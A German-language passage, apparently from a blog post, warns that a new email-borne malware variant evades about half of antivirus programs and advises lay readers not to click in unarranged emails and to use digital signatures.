Zurzeit wird diese Version der Schadsoftware nur von rd. der Hälfte der gängigen Antivirus-Programme als Schadsoftware erkannt. Wer sich auf die bequeme „Sicherheit“ durch Antivirus-Programme verlässt, wird von diesem Schlangenöl regelmäßig verlassen und sitzt dann vor einem von Halunken übernommenen und missbrauchten Computer.

Zum Glück ist es aber auch für Menschen ohne technische Kenntnisse möglich, sich vor der Schadsoftware zu schützen, die über E-Mail verteilt wird: Einfach niemals in eine E-Mail klicken, die nicht vorher über einen anderen Kanal als E-Mail ausdrücklich verabredet wurde, und schon ist eine Übernahme des Computers sehr erschwert¹. Es ist das Internet. Da muss man vor dem Klicken kurz das Gehirn einschalten. Antivirus-Programme sind nur eine Ergänzung.

Übrigens: In letzter Zeit sehe ich derartige Schadsoftware-Spam wieder häufiger, nachdem mal für ein paar Monate relative Ruhe war.

¹Die durchgehende Verwendung von digitalen Signaturen, mit denen man den Absender und die unveränderte Mail jenseits jedes vernünftigen Zweifels sicherstellen kann, ist in vielen Fällen eine wertvolle Ergänzung dieses Vorgehens und ebenfalls nicht so aufwändig, dass Laien davon überfordert wären.